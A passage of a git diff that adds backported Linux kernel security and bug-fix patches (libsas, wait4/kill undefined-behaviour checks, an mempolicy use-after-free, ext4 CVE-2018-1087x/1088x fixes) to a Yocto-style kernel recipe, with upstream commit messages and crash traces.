deletions(-) + +diff --git a/drivers/scsi/libsas/sas_scsi_host.c b/drivers/scsi/libsas/sas_scsi_host.c +index 24e477d2ea70..7e3e0fe0ebe9 100644 +--- a/drivers/scsi/libsas/sas_scsi_host.c ++++ b/drivers/scsi/libsas/sas_scsi_host.c +@@ -250,6 +250,7 @@ out_done: + static void sas_eh_finish_cmd(struct scsi_cmnd *cmd) + { + struct sas_ha_struct *sas_ha = SHOST_TO_SAS_HA(cmd->device->host); ++ struct domain_device *dev = cmd_to_domain_dev(cmd); + struct sas_task *task = TO_SAS_TASK(cmd); + + /* At this point, we only get called following an actual abort +@@ -258,6 +259,14 @@ static void sas_eh_finish_cmd(struct scsi_cmnd *cmd) + */ + sas_end_task(cmd, task); + ++ if (dev_is_sata(dev)) { ++ /* defer commands to libata so that libata EH can ++ * handle ata qcs correctly ++ */ ++ list_move_tail(&cmd->eh_entry, &sas_ha->eh_ata_q); ++ return; ++ } ++ + /* now finish the command and move it on to the error + * handler done list, this also takes it off the + * error handler pending list. +@@ -265,22 +274,6 @@ static void sas_eh_finish_cmd(struct scsi_cmnd *cmd) + scsi_eh_finish_cmd(cmd, &sas_ha->eh_done_q); + } + +-static void sas_eh_defer_cmd(struct scsi_cmnd *cmd) +-{ +- struct domain_device *dev = cmd_to_domain_dev(cmd); +- struct sas_ha_struct *ha = dev->port->ha; +- struct sas_task *task = TO_SAS_TASK(cmd); +- +- if (!dev_is_sata(dev)) { +- sas_eh_finish_cmd(cmd); +- return; +- } +- +- /* report the timeout to libata */ +- sas_end_task(cmd, task); +- list_move_tail(&cmd->eh_entry, &ha->eh_ata_q); +-} +- + static void sas_scsi_clear_queue_lu(struct list_head *error_q, struct scsi_cmnd *my_cmd) + { + struct scsi_cmnd *cmd, *n; +@@ -288,7 +281,7 @@ static void sas_scsi_clear_queue_lu(struct list_head *error_q, struct scsi_cmnd + list_for_each_entry_safe(cmd, n, error_q, eh_entry) { + if (cmd->device->sdev_target == my_cmd->device->sdev_target && + cmd->device->lun == my_cmd->device->lun) +- sas_eh_defer_cmd(cmd); ++ sas_eh_finish_cmd(cmd); + } + } + +@@ -678,12 +671,12 @@ static void sas_eh_handle_sas_errors(struct Scsi_Host *shost, struct list_head * + case TASK_IS_DONE: + SAS_DPRINTK("%s: task 0x%p is done\n", __func__, + task); +- sas_eh_defer_cmd(cmd); ++ sas_eh_finish_cmd(cmd); + continue; + case TASK_IS_ABORTED: + SAS_DPRINTK("%s: task 0x%p is aborted\n", + __func__, task); +- sas_eh_defer_cmd(cmd); ++ sas_eh_finish_cmd(cmd); + continue; + case TASK_IS_AT_LU: + SAS_DPRINTK("task 0x%p is at LU: lu recover\n", task); +@@ -694,7 +687,7 @@ static void sas_eh_handle_sas_errors(struct Scsi_Host *shost, struct list_head * + "recovered\n", + SAS_ADDR(task->dev), + cmd->device->lun); +- sas_eh_defer_cmd(cmd); ++ sas_eh_finish_cmd(cmd); + sas_scsi_clear_queue_lu(work_q, cmd); + goto Again; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0421-9535063c6fd5-kernelexitc avoid undefined behaviour when calling wait4.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0421-9535063c6fd5-kernelexitc avoid undefined behaviour when calling wait4.patch new file mode 100644 index 0000000..8a2285c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0421-9535063c6fd5-kernelexitc avoid undefined behaviour when calling wait4.patch @@ -0,0 +1,56 @@ +From 9535063c6fd52d42b954b68762269f6b27e26c91 Mon Sep 17 00:00:00 2001 +From: zhongjiang +Date: Mon, 10 Jul 2017 15:53:01 -0700 +Subject: kernel/exit.c: avoid undefined behaviour when calling wait4() + +commit dd83c161fbcc5d8be637ab159c0de015cbff5ba4 upstream. + +wait4(-2147483648, 0x20, 0, 0xdd0000) triggers: +UBSAN: Undefined behaviour in kernel/exit.c:1651:9 + +The related calltrace is as follows: + + negation of -2147483648 cannot be represented in type 'int': + CPU: 9 PID: 16482 Comm: zj Tainted: G B ---- ------- 3.10.0-327.53.58.71.x86_64+ #66 + Hardware name: Huawei Technologies Co., Ltd. Tecal RH2285 /BC11BTSA , BIOS CTSAV036 04/27/2011 + Call Trace: + dump_stack+0x19/0x1b + ubsan_epilogue+0xd/0x50 + __ubsan_handle_negate_overflow+0x109/0x14e + SyS_wait4+0x1cb/0x1e0 + system_call_fastpath+0x16/0x1b + +Exclude the overflow to avoid the UBSAN warning. + +Link: http://lkml.kernel.org/r/1497264618-20212-1-git-send-email-zhongjiang@huawei.com +Signed-off-by: zhongjiang +Cc: Oleg Nesterov +Cc: David Rientjes +Cc: Aneesh Kumar K.V +Cc: Kirill A. Shutemov +Cc: Xishi Qiu +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + kernel/exit.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/kernel/exit.c b/kernel/exit.c +index 654021d9f1b3..b0fbebe5d3c3 100644 +--- a/kernel/exit.c ++++ b/kernel/exit.c +@@ -1620,6 +1620,10 @@ SYSCALL_DEFINE4(wait4, pid_t, upid, int __user *, stat_addr, + __WNOTHREAD|__WCLONE|__WALL)) + return -EINVAL; + ++ /* -INT_MIN is not defined */ ++ if (upid == INT_MIN) ++ return -ESRCH; ++ + if (upid == -1) + type = PIDTYPE_MAX; + else if (upid < 0) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0422-50ecbf90142c-kernelsignalc avoid undefined behaviour in killsomethinginfo.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0422-50ecbf90142c-kernelsignalc avoid undefined behaviour in killsomethinginfo.patch new file mode 100644 index 0000000..3ba5668 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0422-50ecbf90142c-kernelsignalc avoid undefined behaviour in killsomethinginfo.patch @@ -0,0 +1,57 @@ +From 50ecbf90142cbfc7cc0194d4f71cf9673e03ab33 Mon Sep 17 00:00:00 2001 +From: zhongjiang +Date: Mon, 10 Jul 2017 15:52:57 -0700 +Subject: kernel/signal.c: avoid undefined behaviour in kill_something_info + +commit 4ea77014af0d6205b05503d1c7aac6eace11d473 upstream. + +When running kill(72057458746458112, 0) in userspace I hit the following +issue. + + UBSAN: Undefined behaviour in kernel/signal.c:1462:11 + negation of -2147483648 cannot be represented in type 'int': + CPU: 226 PID: 9849 Comm: test Tainted: G B ---- ------- 3.10.0-327.53.58.70.x86_64_ubsan+ #116 + Hardware name: Huawei Technologies Co., Ltd. RH8100 V3/BC61PBIA, BIOS BLHSV028 11/11/2014 + Call Trace: + dump_stack+0x19/0x1b + ubsan_epilogue+0xd/0x50 + __ubsan_handle_negate_overflow+0x109/0x14e + SYSC_kill+0x43e/0x4d0 + SyS_kill+0xe/0x10 + system_call_fastpath+0x16/0x1b + +Add code to avoid the UBSAN detection. + +[akpm@linux-foundation.org: tweak comment] +Link: http://lkml.kernel.org/r/1496670008-59084-1-git-send-email-zhongjiang@huawei.com +Signed-off-by: zhongjiang +Cc: Oleg Nesterov +Cc: Michal Hocko +Cc: Vlastimil Babka +Cc: Xishi Qiu +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Cc: Guenter Roeck +Signed-off-by: Greg Kroah-Hartman +--- + kernel/signal.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/kernel/signal.c b/kernel/signal.c +index b7df30e8066c..839504ac04d5 100644 +--- a/kernel/signal.c ++++ b/kernel/signal.c +@@ -1435,6 +1435,10 @@ static int kill_something_info(int sig, struct siginfo *info, pid_t pid) + return ret; + } + ++ /* -INT_MIN is undefined. Exclude this case to avoid a UBSAN warning */ ++ if (pid == INT_MIN) ++ return -ESRCH; ++ + read_lock(&tasklist_lock); + if (pid != -1) { + ret = __kill_pgrp_info(sig, info, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0423.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0423.diff new file mode 100644 index 0000000..b1bf71f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0423.diff @@ -0,0 +1,13 @@ +diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c +index c59152f..da5f09d 100644 +--- a/fs/xfs/libxfs/xfs_bmap.c ++++ b/fs/xfs/libxfs/xfs_bmap.c +@@ -822,6 +822,8 @@ + *logflagsp = 0; + if ((error = xfs_alloc_vextent(&args))) { + xfs_iroot_realloc(ip, -1, whichfork); ++ ASSERT(ifp->if_broot == NULL); ++ XFS_IFORK_FMT_SET(ip, whichfork, XFS_DINODE_FMT_EXTENTS); + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0424-d5a76b2ba687-mmmempolicy fix use after free when calling getmempolicy.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0424-d5a76b2ba687-mmmempolicy fix use after free when calling getmempolicy.patch new file mode 100644 index 0000000..dbcd2d5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0424-d5a76b2ba687-mmmempolicy fix use after free when calling getmempolicy.patch @@ -0,0 +1,85 @@ +From d5a76b2ba6871a875fdcd598548176ce3464aa30 Mon Sep 17 00:00:00 2001 +From: zhong jiang +Date: Fri, 18 Aug 2017 15:16:24 -0700 +Subject: mm/mempolicy: fix use after free when calling get_mempolicy + +commit 73223e4e2e3867ebf033a5a8eb2e5df0158ccc99 upstream. + +I hit a use after free issue when executing trinity and repoduced it +with KASAN enabled. The related call trace is as follows. + + BUG: KASan: use after free in SyS_get_mempolicy+0x3c8/0x960 at addr ffff8801f582d766 + Read of size 2 by task syz-executor1/798 + + INFO: Allocated in mpol_new.part.2+0x74/0x160 age=3 cpu=1 pid=799 + __slab_alloc+0x768/0x970 + kmem_cache_alloc+0x2e7/0x450 + mpol_new.part.2+0x74/0x160 + mpol_new+0x66/0x80 + SyS_mbind+0x267/0x9f0 + system_call_fastpath+0x16/0x1b + INFO: Freed in __mpol_put+0x2b/0x40 age=4 cpu=1 pid=799 + __slab_free+0x495/0x8e0 + kmem_cache_free+0x2f3/0x4c0 + __mpol_put+0x2b/0x40 + SyS_mbind+0x383/0x9f0 + system_call_fastpath+0x16/0x1b + INFO: Slab 0xffffea0009cb8dc0 objects=23 used=8 fp=0xffff8801f582de40 flags=0x200000000004080 + INFO: Object 0xffff8801f582d760 @offset=5984 fp=0xffff8801f582d600 + + Bytes b4 ffff8801f582d750: ae 01 ff ff 00 00 00 00 5a 5a 5a 5a 5a 5a 5a 5a ........ZZZZZZZZ + Object ffff8801f582d760: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b kkkkkkkkkkkkkkkk + Object ffff8801f582d770: 6b 6b 6b 6b 6b 6b 6b a5 kkkkkkk. + Redzone ffff8801f582d778: bb bb bb bb bb bb bb bb ........ + Padding ffff8801f582d8b8: 5a 5a 5a 5a 5a 5a 5a 5a ZZZZZZZZ + Memory state around the buggy address: + ffff8801f582d600: fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc fc + ffff8801f582d680: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc + >ffff8801f582d700: fc fc fc fc fc fc fc fc fc fc fc fc fb fb fb fc + +!shared memory policy is not protected against parallel removal by other +thread which is normally protected by the mmap_sem. do_get_mempolicy, +however, drops the lock midway while we can still access it later. + +Early premature up_read is a historical artifact from times when +put_user was called in this path see https://lwn.net/Articles/124754/ +but that is gone since 8bccd85ffbaf ("[PATCH] Implement sys_* do_* +layering in the memory policy layer."). but when we have the the +current mempolicy ref count model. The issue was introduced +accordingly. + +Fix the issue by removing the premature release. + +Link: http://lkml.kernel.org/r/1502950924-27521-1-git-send-email-zhongjiang@huawei.com +Signed-off-by: zhong jiang +Acked-by: Michal Hocko +Cc: Minchan Kim +Cc: Vlastimil Babka +Cc: David Rientjes +Cc: Mel Gorman +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + mm/mempolicy.c | 5 ----- + 1 file changed, 5 deletions(-) + +diff --git a/mm/mempolicy.c b/mm/mempolicy.c +index 6a23ccc46f0f..d326955b4d05 100644 +--- a/mm/mempolicy.c ++++ b/mm/mempolicy.c +@@ -944,11 +944,6 @@ static long do_get_mempolicy(int *policy, nodemask_t *nmask, + *policy |= (pol->flags & MPOL_MODE_FLAGS); + } + +- if (vma) { +- up_read(¤t->mm->mmap_sem); +- vma = NULL; +- } +- + err = 0; + if (nmask) { + if (mpol_store_user_nodemask(pol)) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0425-683626073ac0-ext4 verify the depth of extent tree in ext4findextent.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0425-683626073ac0-ext4 verify the depth of extent tree in ext4findextent.patch new file mode 100644 index 0000000..d933fba --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0425-683626073ac0-ext4 verify the depth of extent tree in ext4findextent.patch @@ -0,0 +1,57 @@ +From 683626073ac0f1ded012d8861b189350147eb86b Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Thu, 14 Jun 2018 12:55:10 -0400 +Subject: ext4: verify the depth of extent tree in ext4_find_extent() + +commit bc890a60247171294acc0bd67d211fa4b88d40ba upstream. + +If there is a corupted file system where the claimed depth of the +extent tree is -1, this can cause a massive buffer overrun leading to +sadness. + +This addresses CVE-2018-10877. + +https://bugzilla.kernel.org/show_bug.cgi?id=199417 + +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: return -EIO instead of -EFSCORRUPTED] +Signed-off-by: Ben Hutchings +Cc: Greg Hackmann +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/ext4_extents.h | 1 + + fs/ext4/extents.c | 6 ++++++ + 2 files changed, 7 insertions(+) + +diff --git a/fs/ext4/ext4_extents.h b/fs/ext4/ext4_extents.h +index 3c93815470947..2d8e737935121 100644 +--- a/fs/ext4/ext4_extents.h ++++ b/fs/ext4/ext4_extents.h +@@ -103,6 +103,7 @@ struct ext4_extent_header { + }; + + #define EXT4_EXT_MAGIC cpu_to_le16(0xf30a) ++#define EXT4_MAX_EXTENT_DEPTH 5 + + #define EXT4_EXTENT_TAIL_OFFSET(hdr) \ + (sizeof(struct ext4_extent_header) + \ +diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c +index f2f2b86936a50..6dbfa92bf78ac 100644 +--- a/fs/ext4/extents.c ++++ b/fs/ext4/extents.c +@@ -870,6 +870,12 @@ ext4_find_extent(struct inode *inode, ext4_lblk_t block, + + eh = ext_inode_hdr(inode); + depth = ext_depth(inode); ++ if (depth < 0 || depth > EXT4_MAX_EXTENT_DEPTH) { ++ EXT4_ERROR_INODE(inode, "inode has invalid extent depth: %d", ++ depth); ++ ret = -EIO; ++ goto err; ++ } + + if (path) { + ext4_ext_drop_refs(path); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0426-6f6da33decb7-ext4 always check block group bounds in ext4initblockbitmap.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0426-6f6da33decb7-ext4 always check block group bounds in ext4initblockbitmap.patch new file mode 100644 index 0000000..3bc85ad --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0426-6f6da33decb7-ext4 always check block group bounds in ext4initblockbitmap.patch @@ -0,0 +1,63 @@ +From 6f6da33decb7d9de01447638ca737a846bf0181b Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Wed, 13 Jun 2018 23:00:48 -0400 +Subject: ext4: always check block group bounds in ext4_init_block_bitmap() + +commit 819b23f1c501b17b9694325471789e6b5cc2d0d2 upstream. + +Regardless of whether the flex_bg feature is set, we should always +check to make sure the bits we are setting in the block bitmap are +within the block group bounds. + +https://bugzilla.kernel.org/show_bug.cgi?id=199865 + +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: adjust context] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Hackmann +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/balloc.c | 10 +++------- + 1 file changed, 3 insertions(+), 7 deletions(-) + +diff --git a/fs/ext4/balloc.c b/fs/ext4/balloc.c +index 7b7691353cf3a..c56b9b4f6f762 100644 +--- a/fs/ext4/balloc.c ++++ b/fs/ext4/balloc.c +@@ -184,7 +184,6 @@ static int ext4_init_block_bitmap(struct super_block *sb, + unsigned int bit, bit_max; + struct ext4_sb_info *sbi = EXT4_SB(sb); + ext4_fsblk_t start, tmp; +- int flex_bg = 0; + struct ext4_group_info *grp; + + J_ASSERT_BH(bh, buffer_locked(bh)); +@@ -217,22 +216,19 @@ static int ext4_init_block_bitmap(struct super_block *sb, + + start = ext4_group_first_block_no(sb, block_group); + +- if (EXT4_HAS_INCOMPAT_FEATURE(sb, EXT4_FEATURE_INCOMPAT_FLEX_BG)) +- flex_bg = 1; +- + /* Set bits for block and inode bitmaps, and inode table */ + tmp = ext4_block_bitmap(sb, gdp); +- if (!flex_bg || ext4_block_in_group(sb, tmp, block_group)) ++ if (ext4_block_in_group(sb, tmp, block_group)) + ext4_set_bit(EXT4_B2C(sbi, tmp - start), bh->b_data); + + tmp = ext4_inode_bitmap(sb, gdp); +- if (!flex_bg || ext4_block_in_group(sb, tmp, block_group)) ++ if (ext4_block_in_group(sb, tmp, block_group)) + ext4_set_bit(EXT4_B2C(sbi, tmp - start), bh->b_data); + + tmp = ext4_inode_table(sb, gdp); + for (; tmp < ext4_inode_table(sb, gdp) + + sbi->s_itb_per_group; tmp++) { +- if (!flex_bg || ext4_block_in_group(sb, tmp, block_group)) ++ if (ext4_block_in_group(sb, tmp, block_group)) + ext4_set_bit(EXT4_B2C(sbi, tmp - start), bh->b_data); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0427-912e35d18cd2-ext4 add corruption check in ext4xattrsetentry.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0427-912e35d18cd2-ext4 add corruption check in ext4xattrsetentry.patch new file mode 100644 index 0000000..63bdfb8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0427-912e35d18cd2-ext4 add corruption check in ext4xattrsetentry.patch @@ -0,0 +1,104 @@ +From 912e35d18cd2d4f3dd2baec33b871b8faa81f1f3 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Wed, 13 Jun 2018 00:23:11 -0400 +Subject: ext4: add corruption check in ext4_xattr_set_entry() + +commit 5369a762c882c0b6e9599e4ebbb3a9ba9eee7e2d upstream. + +In theory this should have been caught earlier when the xattr list was +verified, but in case it got missed, it's simple enough to add check +to make sure we don't overrun the xattr buffer. + +This addresses CVE-2018-10879. + +https://bugzilla.kernel.org/show_bug.cgi?id=200001 + +Signed-off-by: Theodore Ts'o +Reviewed-by: Andreas Dilger +[bwh: Backported to 3.16: + - Add inode parameter to ext4_xattr_set_entry() and update callers + - Return -EIO instead of -EFSCORRUPTED on error + - Adjust context] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Hackmann +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/xattr.c | 22 ++++++++++++++-------- + 1 file changed, 14 insertions(+), 8 deletions(-) + +diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c +index c8d782bf8c5ce..5b391e74c0cc8 100644 +--- a/fs/ext4/xattr.c ++++ b/fs/ext4/xattr.c +@@ -637,14 +637,20 @@ static size_t ext4_xattr_free_space(struct ext4_xattr_entry *last, + } + + static int +-ext4_xattr_set_entry(struct ext4_xattr_info *i, struct ext4_xattr_search *s) ++ext4_xattr_set_entry(struct ext4_xattr_info *i, struct ext4_xattr_search *s, ++ struct inode *inode) + { +- struct ext4_xattr_entry *last; ++ struct ext4_xattr_entry *last, *next; + size_t free, min_offs = s->end - s->base, name_len = strlen(i->name); + + /* Compute min_offs and last. */ + last = s->first; +- for (; !IS_LAST_ENTRY(last); last = EXT4_XATTR_NEXT(last)) { ++ for (; !IS_LAST_ENTRY(last); last = next) { ++ next = EXT4_XATTR_NEXT(last); ++ if ((void *)next >= s->end) { ++ EXT4_ERROR_INODE(inode, "corrupted xattr entries"); ++ return -EIO; ++ } + if (!last->e_value_block && last->e_value_size) { + size_t offs = le16_to_cpu(last->e_value_offs); + if (offs < min_offs) +@@ -825,7 +831,7 @@ ext4_xattr_block_set(handle_t *handle, struct inode *inode, + ce = NULL; + } + ea_bdebug(bs->bh, "modifying in-place"); +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + if (!error) { + if (!IS_LAST_ENTRY(s->first)) + ext4_xattr_rehash(header(s->base), +@@ -877,7 +883,7 @@ ext4_xattr_block_set(handle_t *handle, struct inode *inode, + s->end = s->base + sb->s_blocksize; + } + +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + if (error == -EIO) + goto bad_block; + if (error) +@@ -1038,7 +1044,7 @@ int ext4_xattr_ibody_inline_set(handle_t *handle, struct inode *inode, + + if (EXT4_I(inode)->i_extra_isize == 0) + return -ENOSPC; +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + if (error) { + if (error == -ENOSPC && + ext4_has_inline_data(inode)) { +@@ -1050,7 +1056,7 @@ int ext4_xattr_ibody_inline_set(handle_t *handle, struct inode *inode, + error = ext4_xattr_ibody_find(inode, i, is); + if (error) + return error; +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + } + if (error) + return error; +@@ -1076,7 +1082,7 @@ static int ext4_xattr_ibody_set(handle_t *handle, struct inode *inode, + + if (EXT4_I(inode)->i_extra_isize == 0) + return -ENOSPC; +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + if (error) + return error; + header = IHDR(inode, ext4_raw_inode(&is->iloc)); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0428-f8b8db07ab69-ext4 always verify the magic number in xattr blocks.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0428-f8b8db07ab69-ext4 always verify the magic number in xattr blocks.patch new file mode 100644 index 0000000..1b0c985 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0428-f8b8db07ab69-ext4 always verify the magic number in xattr blocks.patch @@ -0,0 +1,53 @@ +From f8b8db07ab693cce95ac0289d4c6adc3e7b60dd3 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Wed, 13 Jun 2018 00:51:28 -0400 +Subject: ext4: always verify the magic number in xattr blocks + +commit 513f86d73855ce556ea9522b6bfd79f87356dc3a upstream. + +If there an inode points to a block which is also some other type of +metadata block (such as a block allocation bitmap), the +buffer_verified flag can be set when it was validated as that other +metadata block type; however, it would make a really terrible external +attribute block. The reason why we use the verified flag is to avoid +constantly reverifying the block. However, it doesn't take much +overhead to make sure the magic number of the xattr block is correct, +and this will avoid potential crashes. + +This addresses CVE-2018-10879. + +https://bugzilla.kernel.org/show_bug.cgi?id=200001 + +Signed-off-by: Theodore Ts'o +Reviewed-by: Andreas Dilger +Cc: stable@kernel.org +[ghackmann@google.com: 3.18 backport: adjust context] +Signed-off-by: Greg Hackmann +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/xattr.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c +index 5b391e74c0cc8..bb4faf2d0c5cc 100644 +--- a/fs/ext4/xattr.c ++++ b/fs/ext4/xattr.c +@@ -218,12 +218,12 @@ ext4_xattr_check_block(struct inode *inode, struct buffer_head *bh) + { + int error; + +- if (buffer_verified(bh)) +- return 0; +- + if (BHDR(bh)->h_magic != cpu_to_le32(EXT4_XATTR_MAGIC) || + BHDR(bh)->h_blocks != cpu_to_le32(1)) + return -EIO; ++ if (buffer_verified(bh)) ++ return 0; ++ + if (!ext4_xattr_block_csum_verify(inode, bh->b_blocknr, BHDR(bh))) + return -EIO; + error = ext4_xattr_check_names(BFIRST(bh), bh->b_data + bh->b_size, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0429-fd2634366fca-ext4 never move the systemdata xattr out of the inode body.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0429-fd2634366fca-ext4 never move the systemdata xattr out of the inode body.patch new file mode 100644 index 0000000..255bafc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0429-fd2634366fca-ext4 never move the systemdata xattr out of the inode body.patch @@ -0,0 +1,44 @@ +From fd2634366fca1f93e7d4cf36c8a919dfe11cd0ec Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Sat, 16 Jun 2018 15:40:48 -0400 +Subject: ext4: never move the system.data xattr out of the inode body + +commit 8cdb5240ec5928b20490a2bb34cb87e9a5f40226 upstream. + +When expanding the extra isize space, we must never move the +system.data xattr out of the inode body. For performance reasons, it +doesn't make any sense, and the inline data implementation assumes +that system.data xattr is never in the external xattr block. + +This addresses CVE-2018-10880 + +https://bugzilla.kernel.org/show_bug.cgi?id=200005 + +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: adjust context] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Hackmann +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/xattr.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c +index bb4faf2d0c5cc..5f67ef828ccd7 100644 +--- a/fs/ext4/xattr.c ++++ b/fs/ext4/xattr.c +@@ -1391,6 +1391,11 @@ retry: + /* Find the entry best suited to be pushed into EA block */ + entry = NULL; + for (; !IS_LAST_ENTRY(last); last = EXT4_XATTR_NEXT(last)) { ++ /* never move system.data out of the inode */ ++ if ((last->e_name_len == 4) && ++ (last->e_name_index == EXT4_XATTR_INDEX_SYSTEM) && ++ !memcmp(last->e_name, "data", 4)) ++ continue; + total_size = + EXT4_XATTR_SIZE(le32_to_cpu(last->e_value_size)) + + EXT4_XATTR_LEN(last->e_name_len); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0430-15b85a060ace-ext4 clear idata in ext4inodeinfo when removing inline data.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0430-15b85a060ace-ext4 clear idata in ext4inodeinfo when removing inline data.patch new file mode 100644 index 0000000..28eda3a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0430-15b85a060ace-ext4 clear idata in ext4inodeinfo when removing inline data.patch @@ -0,0 +1,50 @@ +From 15b85a060ace8d19d1c7c0290380bedcf46cc4ac Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Fri, 15 Jun 2018 12:28:16 -0400 +Subject: ext4: clear i_data in ext4_inode_info when removing inline data + +commit 6e8ab72a812396996035a37e5ca4b3b99b5d214b upstream. + +When converting from an inode from storing the data in-line to a data +block, ext4_destroy_inline_data_nolock() was only clearing the on-disk +copy of the i_blocks[] array. It was not clearing copy of the +i_blocks[] in ext4_inode_info, in i_data[], which is the copy actually +used by ext4_map_blocks(). + +This didn't matter much if we are using extents, since the extents +header would be invalid and thus the extents could would re-initialize +the extents tree. But if we are using indirect blocks, the previous +contents of the i_blocks array will be treated as block numbers, with +potentially catastrophic results to the file system integrity and/or +user data. + +This gets worse if the file system is using a 1k block size and +s_first_data is zero, but even without this, the file system can get +quite badly corrupted. + +This addresses CVE-2018-10881. + +https://bugzilla.kernel.org/show_bug.cgi?id=200015 + +Signed-off-by: Theodore Ts'o +Cc: stable@kernel.org +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/inline.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/fs/ext4/inline.c b/fs/ext4/inline.c +index 5070616e6247f..7762d365260ee 100644 +--- a/fs/ext4/inline.c ++++ b/fs/ext4/inline.c +@@ -432,6 +432,7 @@ static int ext4_destroy_inline_data_nolock(handle_t *handle, + + memset((void *)ext4_raw_inode(&is.iloc)->i_block, + 0, EXT4_MIN_INLINE_DATA_SIZE); ++ memset(ei->i_data, 0, EXT4_MIN_INLINE_DATA_SIZE); + + if (EXT4_HAS_INCOMPAT_FEATURE(inode->i_sb, + EXT4_FEATURE_INCOMPAT_EXTENTS)) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0431-292dc9673821-ext4 add more inode number paranoia checks.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0431-292dc9673821-ext4 add more inode number paranoia checks.patch new file mode 100644 index 0000000..459295a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0431-292dc9673821-ext4 add more inode number paranoia checks.patch @@ -0,0 +1,77 @@ +From 292dc9673821842c0762b5d095a05e354e795392 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Sun, 17 Jun 2018 00:41:14 -0400 +Subject: ext4: add more inode number paranoia checks + +commit c37e9e013469521d9adb932d17a1795c139b36db upstream. + +If there is a directory entry pointing to a system inode (such as a +journal inode), complain and declare the file system to be corrupted. + +Also, if the superblock's first inode number field is too small, +refuse to mount the file system. + +This addresses CVE-2018-10882. + +https://bugzilla.kernel.org/show_bug.cgi?id=200069 + +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: adjust context] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg 